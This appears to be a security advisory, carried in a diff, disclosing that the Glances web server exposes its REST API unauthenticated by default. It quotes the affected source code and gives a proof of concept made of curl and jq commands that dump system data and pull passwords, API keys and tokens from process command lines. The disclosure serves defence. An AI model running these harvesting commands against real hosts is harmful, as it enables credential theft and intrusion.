+ "details": "### Summary\nGlances web server runs without authentication by default when started with `glances -w`, exposing REST API with sensitive system information including process command-lines containing credentials (passwords, API keys, tokens) to any network client.\n\n### Details\nRoot Cause: Authentication is optional and disabled by default. When no password is provided, the API router initializes without authentication dependency, and the server binds to 0.0.0.0 exposing all endpoints.\n\nAffected Code:\n- File: `glances/outputs/glances_restful_api.py`, lines 259-272\n\n```python\nif self.args.password:\n self._password = GlancesPassword(username=args.username, config=config)\n if JWT_AVAILABLE:\n jwt_secret = config.get_value('outputs', 'jwt_secret_key', default=None)\n jwt_expire = config.get_int_value('outputs', 'jwt_expire_minutes', default=60)\n self._jwt_handler = JWTHandler(secret_key=jwt_secret, expire_minutes=jwt_expire)\n logger.info(f\"JWT authentication enabled (token expiration: {jwt_expire} minutes)\")\n else:\n self._jwt_handler = None\n logger.info(\"JWT authentication not available (python-jose not installed)\")\nelse:\n self._password = None # NO AUTHENTICATION BY DEFAULT\n self._jwt_handler = None\n```\n\n- File: `glances/outputs/glances_restful_api.py`, lines 477-480\n\n```python\nif self.args.password:\n router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])\nelse:\n router = APIRouter(prefix=self.url_prefix) # NO AUTH DEPENDENCY\n```\n\n- File: `glances/outputs/glances_restful_api.py`, lines 98-99\n\n```python\nself.bind_address = args.bind_address or \"0.0.0.0\" # BINDS TO ALL INTERFACES\nself.port = args.port or 61208\n```\n\n- File: `glances/plugins/processlist/__init__.py`, lines 127-140\n\n```python\nenable_stats = [\n 'cpu_percent',\n 'memory_percent',\n 'memory_info',\n 'pid',\n 'username',\n 'cpu_times',\n 'num_threads',\n 'nice',\n 'status',\n 'io_counters',\n 'cpu_num',\n 'cmdline', # FULL COMMAND LINE EXPOSED, NO SANITIZATION\n]\n```\n\n### PoC\n\n1. Start Glances in default web server mode:\n```bash\nglances -w\n# Output: Glances Web User Interface started on http://0.0.0.0:61208/\n```\n\n2. Access API without authentication from any network client:\n```bash\ncurl -s http://TARGET:61208/api/4/system | jq .\n```\n\n<img width=\"593\" height=\"265\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4ec461be-b480-46d5-88e2-f4004f4dae54\" />\n\n\n3. Extract system information:\n```bash\ncurl -s http://TARGET:61208/api/4/all > system_dump.json\n```\n<img width=\"688\" height=\"547\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7564fb2a-7d94-4c26-848a-03034214b8c7\" />\n\n4. Harvest credentials from process list:\n```bash\ncurl -s http://TARGET:61208/api/4/processlist | \\\n jq -r '.[] | select(.cmdline | tostring | test(\"password|api-key|token|secret\"; \"i\")) | \n {pid, username, process: .name, cmdline}'\n```\n\n5. Example credential exposure:\n```json\n{\n \"pid\": 4059,\n \"username\": \"root\",\n \"process\": \"python3\",\n \"cmdline\": [\n \"python3\",\n \"-c\",\n \"import time; time.sleep(3600)\",\n \"--api-key=sk-super-secret-token-12345\",\n \"--password=MySecretPassword123\",\n \"--db-pass=admin123\"\n ]\n}\n```\n\n### Impact\n\nComplete system reconnaissance and credential harvesting from any network client. Exposed endpoints include system info, process lists with full command-line arguments (containing passwords/API keys/tokens), network connections, filesystems, and Docker containers. Enables lateral movement and targeted attacks using stolen credentials.",
0 commit comments